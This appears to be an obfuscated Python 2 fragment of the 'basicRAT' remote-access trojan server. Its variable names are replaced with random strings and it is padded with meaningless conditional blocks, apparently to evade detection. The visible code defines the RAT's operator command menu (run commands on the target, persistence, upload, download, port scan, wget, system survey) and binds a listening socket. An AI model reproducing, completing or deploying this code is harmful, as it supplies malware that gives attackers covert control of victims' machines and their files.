        fCrQQOuEytIHHCBPMuJJDQIrGCPCdxFrRuSHWCkuExBwIGNRSHqVqiPvdQXwwqE = 'WHNjxyMsQFRnCSZSxypIEjCJPDBulQoHPhFCNQvjnpSuBDPKQWIIJFECFpUYGup'
        fCrQQOuEytIHHCBPMuJJDQIrGCPCdxFrRuSHWCkuExBwIGNRSHqVqiPvdQXwwqE = PzuzFJJGwIWteQwnCDgJxQuFkRnpPmSFEioyJMRHgvNQPSwDUDIwISASNBHhBEi
    else:
        fCrQQOuEytIHHCBPMuJJDQIrGCPCdxFrRuSHWCkuExBwIGNRSHqVqiPvdQXwwqE = 'WHNjxyMsQFRnCSZSxypIEjCJPDBulQoHPhFCNQvjnpSuBDPKQWIIJFECFpUYGup'
        fCrQQOuEytIHHCBPMuJJDQIrGCPCdxFrRuSHWCkuExBwIGNRSHqVqiPvdQXwwqE = 'AFiqJmENAxsoJvywLROHsBAHwjlydCJJIsrEzMlUivBORXzRSrrmROoXyHhJJmz'
    from core.mlRSHnORJEINxGsriAJHTYHTPRECHHXCEJyGqrsOxjXFuEYyCypFDxmBgyzHeeR import uSIByGHznHHkkvwwPIVnIDFmmvPIHMRIyINSxzREPRIJQsuHBAIBMOtBQvIltFA,SPuftCNRrBmEOHCGpJsNAREOsyuxkCNDSBrSxGriSZOARHCTADxEyFHFPgOgFtg,vtMRvNIZLQjyJnDNOMACSDDwRCSJsDWOiDOCIESrasNPSuqDRsJHTwoEvItFRqw
    zFMvSFfRCSmzlQZEXJqHEqlRORACAjwvQRAwQoDGISzQHZSnjyZqwzQrIwPbDMD = 'EIqvOFDUCnMRjDFXDkJxHyuRfIwJSzBNHIRRFGEEzCQkyziqtDLTjvwHvrAJDyP'
    uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur = 'WRFOMFOzsVvwctTuxIJzyiqYlDIuAFGHQuBwXSvCISNDkQCrnvBsBNPRGyoSZU'
    AxFNDGQlGEryFSFuDSzDIAiwNwGQSsmGJCIBqGRSxDksRJAFIXtkDkGuZGDPuKA = 'IikNnuPJQQksCysuRAmxuoQGEiwYGvgNCOTtvAykyAvMFpfJDxFxLSrswEGMpDH'
    wwIFDgBpsOOvxFHtLIRJDFlrMylkeCLtEpOQwYHArRJEnzJeVKrEPSFPMAAwpQJ = 'LCwCElvHSwtGHoSHSxxFNxJpQGXSIJuMDKBzIlFWZJHDxMqygSJEiRyHjpZYJJ'
    mzqDLBSfQQVRvwyFCLGQsBzDBVSROswkxXyRSHTruIQUNwzQHRODswHZGMKTDHG = 'SEHBzHRjVHFMrJvRQJFIApIGruOZwHNsPQysJGnzuzywqnyEzyNJyBEEDqQwxcO'
    if zFMvSFfRCSmzlQZEXJqHEqlRORACAjwvQRAwQoDGISzQHZSnjyZqwzQrIwPbDMD in uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur:
        zFMvSFfRCSmzlQZEXJqHEqlRORACAjwvQRAwQoDGISzQHZSnjyZqwzQrIwPbDMD = mzqDLBSfQQVRvwyFCLGQsBzDBVSROswkxXyRSHTruIQUNwzQHRODswHZGMKTDHG
        if uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur in AxFNDGQlGEryFSFuDSzDIAiwNwGQSsmGJCIBqGRSxDksRJAFIXtkDkGuZGDPuKA:
            uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur = wwIFDgBpsOOvxFHtLIRJDFlrMylkeCLtEpOQwYHArRJEnzJeVKrEPSFPMAAwpQJ
    elif uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur in zFMvSFfRCSmzlQZEXJqHEqlRORACAjwvQRAwQoDGISzQHZSnjyZqwzQrIwPbDMD:
        AxFNDGQlGEryFSFuDSzDIAiwNwGQSsmGJCIBqGRSxDksRJAFIXtkDkGuZGDPuKA = uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur
        if AxFNDGQlGEryFSFuDSzDIAiwNwGQSsmGJCIBqGRSxDksRJAFIXtkDkGuZGDPuKA in uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur:
            uwDSuDVypQHGGqHEwRfvSzJriGScuxptSRgCEOBHuZECGYDAwAPQCDDzxCNnkur = mzqDLBSfQQVRvwyFCLGQsBzDBVSROswkxXyRSHTruIQUNwzQHRODswHZGMKTDHG
    from core.GDBuGjtzDtAHlDJHwyDFJHNFQRIzdBRqORcFFxozwRRvCDdBHFDPIFSjpTysrjO import vIRwVSrRIoGDyAzHuoJjtNEGPQATAHFuAoCIjSvXYCAHcDGzOHiuVDIDtwoJGpy, kyvylzQylABvsJoPANuHBJzJofEFAOEIIiJpCEDRxoQNolMqHtFCHxSyBSrFSCC
    HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo = 'zgSIIasEImoIqPpswuEGuluOuPAFUIHRxQRQSGoJwDQovyvxWBlDLtrXPBEEDxy'
    JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO = 'YfGresGuASCJSIFROAGjRDJGDtIGqnuPGBjBBUcNSRHFBCJCriZBIEiRFZnFQOF'
    QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp = 'yHmzzCHqBlPsIDkAwHxsMqXkDvOvOkPHTREYyHhSSPBPxMQJdBFrcMxTWjKvqtJ'
    BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq = 'ZDfJEjPyRNXUECuBJuFqCGHwZHGDiPYMHttsitSBpCJQDBXIDsTxHuSisHJOEoD'
    if JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO == HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo:
        for HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo in JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO:
            if JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO == JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO:
                QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp = 'BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq'
            elif QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp == BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq:
                BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq = HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo
            else:
                HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo = JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO
    elif QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp == QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp:
        for QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp in JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO:
            if BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq == JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO:
                QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp = 'BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq'
            elif QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp == BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq:
                BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq = HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo
            else:
                HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo = JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO
                for QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp in JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO:
                    if BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq == JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO:
                        QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp = 'BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq'
                    elif QHyOQSBpSPzwAiavUNGFPUWjDzFIgButLvHFfqDImAXyzIEzMBJJzNNNFIvGUrp == BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq:
                        BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq = HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo
                    else:
                        HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo = BPFXSJzcVXsHIswixQIRvHqzQSDHWMBCRHmFHQPzssAGJwQxUNGZroSMCBoqNVq
    else:
        HyityREOwHJMFxsxrIvnOFYDUmqAPVXmEJPIvIkCQGhBGEBwCnsiuGMviJIiIo = JFwXkjvIeBPmENHnJADSIESjBMQQRJivEsCIPxZmMpooflvyCxtRxEjGmzSiBZO
except ImportError as GRIpvHwJmDsXvKISzSHxOSmrRBkeQuFxFGmJzDJTECGqsYCSyrolqxAeSyHYvuR:
    IydHvLkGGXCBmBuCumEJPEqjDPQGPzmDyhlPrqtIGLBqqWWJGJjPwDwGhzPwyQG = 'QGRJKIINSxzCsGVEsAqDIsoyhPnpuzEIAqyrsCFQArJGQPGUHSzsyfdvfOQtTSU'
    IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn = 'AVMsQCWRJMHsFEBJBRzuCrHkGnlCGFOvHClfyPruubIYDtWeKXQGECvpyqWFGgv'
    iBPZsuZIyFyPptrOISSzmGyRCHNFQsiIzMJvtoGDHENNGqNONJzIApSFRIySmxp = 'HfSzSGCuqxxGCJGEXDHFFEIgTIIxxCAFluJlIjDBJDxMHDhPQGfiDFscFzscQtz'
    FmEDHvDDrCkFFEQEEIitOVnljItQqrHJfvEpEDDuJRgWVJgIJWHLvGPtIhRraBv = 'qjDvtFQSPBvTSwTHHnNSujIsGRzDyHPARDyBSrvKEPABwEPXwfQJsJwyHSmIEvE'
    qToINIEGOEHAyILDFPDSwJyqHzIrzyHvJHfRJmhkwyqGPwyqGRJGILSHhzHxHeG = 'BRJBjUaJCZvjCfSnPftsxovBywstIQziJtwGBtIENSQzAQDBMsRRHFqGREvWQCG'
    if IydHvLkGGXCBmBuCumEJPEqjDPQGPzmDyhlPrqtIGLBqqWWJGJjPwDwGhzPwyQG in IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn:
        IydHvLkGGXCBmBuCumEJPEqjDPQGPzmDyhlPrqtIGLBqqWWJGJjPwDwGhzPwyQG = qToINIEGOEHAyILDFPDSwJyqHzIrzyHvJHfRJmhkwyqGPwyqGRJGILSHhzHxHeG
        if IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn in iBPZsuZIyFyPptrOISSzmGyRCHNFQsiIzMJvtoGDHENNGqNONJzIApSFRIySmxp:
            IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn = FmEDHvDDrCkFFEQEEIitOVnljItQqrHJfvEpEDDuJRgWVJgIJWHLvGPtIhRraBv
    elif IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn in IydHvLkGGXCBmBuCumEJPEqjDPQGPzmDyhlPrqtIGLBqqWWJGJjPwDwGhzPwyQG:
        iBPZsuZIyFyPptrOISSzmGyRCHNFQsiIzMJvtoGDHENNGqNONJzIApSFRIySmxp = IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn
        if iBPZsuZIyFyPptrOISSzmGyRCHNFQsiIzMJvtoGDHENNGqNONJzIApSFRIySmxp in IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn:
            IyPMtSqHYuITiIAeStzwBiNGICmvSViguGzrDymHnAPoyvSkRnRTwAHRlmYCxJn = qToINIEGOEHAyILDFPDSwJyqHzIrzyHvJHfRJmhkwyqGPwyqGRJGILSHhzHxHeG
    print GRIpvHwJmDsXvKISzSHxOSmrRBkeQuFxFGmJzDJTECGqsYCSyrolqxAeSyHYvuR
    JSJFxGxvUvLsJJFRJyqrCBIxPHPDCyEAkzfQvyErPrxPwCybDnDwyoSlPwUqwus = 'VuJosiNQOsIlHYbxZFXESSSxkInOPxrtDQvCIuGJXAUtHmPreCtsBHvwGGjBEG'
    RCyfwlMqysDOAHGISJBAtwoMywEUmuwQrxDpQEFqSOuHkzXzRJxPzrQDnmVySFu = 'oqHBMjGERjFzpRwRIIcpoPAhQHCyXEJJEqHBYcGGRxABuIPzRHXuuNCwSRIIDA'
    PGXyQHLYnPEIDDBIuyDPZDxrCADGNwwuwuvtFSSSMyGyQqEOHNIPzgDJjsJvJzq = 'SyNunXIXuzSoApJiBMKnvECiipJxiuDHkyAIgjjKBEGzOjFwzGtnIyRDsFIOXFQ'
    PwxHPlFOkEzXBJpJwiJwRAHHyHREQSnTlPEkZEpJQIVyyQEWSORDAEygHmSzPHN = 'yUEqqhrmCEOsjkLIRSHRlEDmIXvortwztqtnrvCGRCbnjdFIPsAHHRJzxPQNRDu'
    igArFIxEByRDGGWOiEXDEApDkhDrDuIxRCGMrEIJIihOBxvCNFQDSFGJiJsFCSe = 'xSIlzGIEvpCBOtQnLrRGGnpRSxEgeyFurqGHOBSGnBACpFnWwAGHuAlTCukNPUG'
    osHQURHnehPMPFOxISUkMxCLzGPFJOEUzvfILEzPkPAexEFQxHyCChJAwxEmEFD = 'tWzzBuONIiJquqCBBvjRVCwFOSyeTWrJrPrGFzBPNiSqRzBEuARYIGFRGJqpABH'
    if PGXyQHLYnPEIDDBIuyDPZDxrCADGNwwuwuvtFSSSMyGyQqEOHNIPzgDJjsJvJzq == PwxHPlFOkEzXBJpJwiJwRAHHyHREQSnTlPEkZEpJQIVyyQEWSORDAEygHmSzPHN:
        for osHQURHnehPMPFOxISUkMxCLzGPFJOEUzvfILEzPkPAexEFQxHyCChJAwxEmEFD in igArFIxEByRDGGWOiEXDEApDkhDrDuIxRCGMrEIJIihOBxvCNFQDSFGJiJsFCSe:
            if osHQURHnehPMPFOxISUkMxCLzGPFJOEUzvfILEzPkPAexEFQxHyCChJAwxEmEFD == PwxHPlFOkEzXBJpJwiJwRAHHyHREQSnTlPEkZEpJQIVyyQEWSORDAEygHmSzPHN:
                igArFIxEByRDGGWOiEXDEApDkhDrDuIxRCGMrEIJIihOBxvCNFQDSFGJiJsFCSe = JSJFxGxvUvLsJJFRJyqrCBIxPHPDCyEAkzfQvyErPrxPwCybDnDwyoSlPwUqwus
            else:
                PwxHPlFOkEzXBJpJwiJwRAHHyHREQSnTlPEkZEpJQIVyyQEWSORDAEygHmSzPHN = RCyfwlMqysDOAHGISJBAtwoMywEUmuwQrxDpQEFqSOuHkzXzRJxPzrQDnmVySFu
    sys.exit(0)
JYHYSzrCSNQVvkHqDSjHKVsFvyymjBfCnJQmASxEAzFAAEzZwvtrPnCERyiGlIN = '''
download <files>    - Download file(s).
help                - Show this help menu.
persistence         - Apply persistence mechanism.
quit                - Gracefully kill client and server.
rekey               - Regenerate crypto key.
run <command>       - Execute a command on the target.
scan <ip>           - Scan top 25 ports on a single host.
survey              - Run a system survey.
unzip <file>        - Unzip a file.
upload <files>      - Upload files(s).
wget <url>          - Download a file from the web.
'''
XBoAwJHIAZqNGsweFIyIjVHAuZQREIzPrEYDhpEIpuzoFIuHxIOxSOJSRwtQGSz = '''
______           _     ______  ___ _____   _            _
| ___ \         (_)    | ___ \/ _ \_   _| | |          | |
| |_/ / __ _ ___ _  ___| |_/ / /_\ \| |   | |_ ___  ___| |_
| ___ \/ _` / __| |/ __|    /|  _  || |   | __/ _ \/ __| __|
| |_/ / (_| \__ \ | (__| |\ \| | | || |   | ||  __/\__ \ |_
\____/ \__,_|___/_|\___\_| \_\_| |_/\_/    \__\___||___/\__|
'''
FxItzCuIvSOWSklHsEqhGGimFIstqIGCIGDsujssIVykJoEPHVIfzqNtFGqGlFJ = [
            'download', 'help', 'persistence', 'quit', 'rekey',
            'run', 'scan', 'survey', 'unzip', 'upload', 'wget'
]
def tHOyEGokuNrWFlCyCkrPdGFamwsAHSEBCHqGGIiIPznPhWISxuvDJuErABBveTO():
    uwFYyMzrzkqFAkGFvBROwzrcSSMStByADzxSIwzGBEPyzzFSGFFIIJLCYSyHsBq = argparse.ArgumentParser(description='basicRAT server')
    uwFYyMzrzkqFAkGFvBROwzrcSSMStByADzxSIwzGBEPyzzFSGFFIIJLCYSyHsBq.add_argument('-p', '--port', help='Port to listen on.',
                        default=1337, type=int)
    return uwFYyMzrzkqFAkGFvBROwzrcSSMStByADzxSIwzGBEPyzzFSGFFIIJLCYSyHsBq
def rAFBSHNfNqQlRskEEOBCJCBrinBnGFJIUAEGRrJSOzbMDFRJPuteotGtOqQIFRF():
    uwFYyMzrzkqFAkGFvBROwzrcSSMStByADzxSIwzGBEPyzzFSGFFIIJLCYSyHsBq  = tHOyEGokuNrWFlCyCkrPdGFamwsAHSEBCHqGGIiIPznPhWISxuvDJuErABBveTO()
    noGJJHHATWGOvyNzzzIuEiSnsJoqwqQUSJnpAMwHCyInBDDRuyJiDyBUqylETAx    = vars(uwFYyMzrzkqFAkGFvBROwzrcSSMStByADzxSIwzGBEPyzzFSGFFIIJLCYSyHsBq.parse_args())
    lCnVJzJHwOwsDmIGANSPvWDHICCAOxBOsFQFABSqhwGrnwzJynqHphGuRsQJBnJ    = noGJJHHATWGOvyNzzzIuEiSnsJoqwqQUSJnpAMwHCyInBDDRuyJiDyBUqylETAx['port']
    IyQBkHZzzQArtBOPSywnHwuBSJeEvICCIFDvYpHJMEprXJpuBDhwGrPOUQyMyYE = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        DBMMAzQGJOHxExRswxCHxROBPUFGwuQARukCFrqoHVmCHEWBAuECxQzHzPSOUUQ = 'fGuGAsmlRuSSSDtdtIxnzJCGrMrjxrFRNMmoSBRkqpJBnyBIHeEGvzBgCHCYrHE'
        cICEnmGlJbOoJGGRDjyGMHxEkmGRCsHepxVUBywCFrHJBFSOHIPrSEHANrvvIJR = 'CQRMXBrIzJuiDvzzDDFEbrWBGeyvrHmoGrVJwHlRgtIpJANpGyuIrNEEEQRGHmx'
        DhNOTzCeqyDJvRSJhtgtzJHyymBqGAJIDSAssuHFBJEkOPNJIIFFSqBxwEDwzSI = 'jQoGSWFAGGFWmHCqkrPIzkDJkDHWBAHHMiVjEvBSADCAuzIBVPBEDpdJxRxyRRS'
        SFQCSDyRkzNTmGyBBbuyxzHzwukAsRkyIrICblwAqHkErXquIwHFpCEYFSyETNS = 'zoVmFDDDXGtSGEEhXBoMAPyexvxGLqHCFGzzECxvwFDIDCyjUHMAPGAsIiLGRXD'
        ASJssCvhYPRSJGtvDMzFRJdEtQBjrEkmPIIQSsxDzHsXoRzjFICxXzEXxJzwGVR = 'knuGdCLHyeFGUzontCJxovDODHFRMuGPHtFSMJmpkzJUYiuzOozslRQviLCCHSx'
        eBIkElAFRjCPqiRmHHCBJmmMDJCzGVnDIXjGTqMFGHUEDVxJszJplAvaTNxrGEE = 'XJsqiZqtzCQCSFCAuPzOGFWEIFFMIoohTDHABzOFtKJripAJdnNGvnrNDXmBlon'
        if DhNOTzCeqyDJvRSJhtgtzJHyymBqGAJIDSAssuHFBJEkOPNJIIFFSqBxwEDwzSI == SFQCSDyRkzNTmGyBBbuyxzHzwukAsRkyIrICblwAqHkErXquIwHFpCEYFSyETNS:
            for eBIkElAFRjCPqiRmHHCBJmmMDJCzGVnDIXjGTqMFGHUEDVxJszJplAvaTNxrGEE in ASJssCvhYPRSJGtvDMzFRJdEtQBjrEkmPIIQSsxDzHsXoRzjFICxXzEXxJzwGVR:
                if eBIkElAFRjCPqiRmHHCBJmmMDJCzGVnDIXjGTqMFGHUEDVxJszJplAvaTNxrGEE == SFQCSDyRkzNTmGyBBbuyxzHzwukAsRkyIrICblwAqHkErXquIwHFpCEYFSyETNS:
                    ASJssCvhYPRSJGtvDMzFRJdEtQBjrEkmPIIQSsxDzHsXoRzjFICxXzEXxJzwGVR = DBMMAzQGJOHxExRswxCHxROBPUFGwuQARukCFrqoHVmCHEWBAuECxQzHzPSOUUQ
                else:
                    SFQCSDyRkzNTmGyBBbuyxzHzwukAsRkyIrICblwAqHkErXquIwHFpCEYFSyETNS = cICEnmGlJbOoJGGRDjyGMHxEkmGRCsHepxVUBywCFrHJBFSOHIPrSEHANrvvIJR
        IyQBkHZzzQArtBOPSywnHwuBSJeEvICCIFDvYpHJMEprXJpuBDhwGrPOUQyMyYE.bind(('0.0.0.0', lCnVJzJHwOwsDmIGANSPvWDHICCAOxBOsFQFABSqhwGrnwzJynqHphGuRsQJBnJ))
    except socket.error:
        DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF = 'kHvEyJHwroEOMqwQMRqOuDrSRIGCBuCsRhFeYNbBWpQEAzwzIWSgSPCQDSIOruF'
        lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz = 'JGvvTxEoIAHGqJvRNGICwJEpJNRClJuPQUtJCsySONNSystzyJwrCwJJjyzwEHG'
        vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG = 'DjtChJxRCBCCiOxIpOgDQJWSPIlowduvsAifIJonXOsHiSPrmPfCsIJHvGBQDyz'
        lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG = 'pvDRHSJWzOPTSfmSosYIDlqTDSRECPMzmFCjEzIPoFvPFQSvGxrqxFEYxGExZHQ'
        if lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz == DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF:
            for DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF in lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz:
                if lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz == lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz:
                    vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG = 'lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG'
                elif vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG == lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG:
                    lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG = DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF
                else:
                    DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF = lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz
        elif vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG == vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG:
            for vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG in lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz:
                if lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG == lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz:
                    vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG = 'lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG'
                elif vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG == lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG:
                    lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG = DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF
                else:
                    DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF = lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz
                    for vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG in lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz:
                        if lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG == lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz:
                            vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG = 'lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG'
                        elif vmVwGyJsnwLgzqSqLTIIJorzILYJuvSYUavxTDCvMmDpuSEeBsJGvSBzHFODowG == lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG:
                            lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG = DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF
                        else:
                            DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF = lznHwAICjBoBqwmzvvyBrDVEEJQmQuSRHIPRzHrICuGGvROzWGJFmiJHEDgSPlG
        else:
            DDSCDxzzkGJHozDjkFuIrExLvxPBFSFzXAIzIeSFwDNMPpHHRvqISppOlVSsHsF = lrHqBQYGuwIQAwhzxFyEfjRQxhuYlDIJDgtCKFVwloxIPPQPNABIISBZVEFsGwz
        print 'Error: Unable to start server, lCnVJzJHwOwsDmIGANSPvWDHICCAOxBOsFQFABSqhwGrnwzJynqHphGuRsQJBnJ {} in use?'.format(lCnVJzJHwOwsDmIGANSPvWDHICCAOxBOsFQFABSqhwGrnwzJynqHphGuRsQJBnJ)
        sys.exit(1)
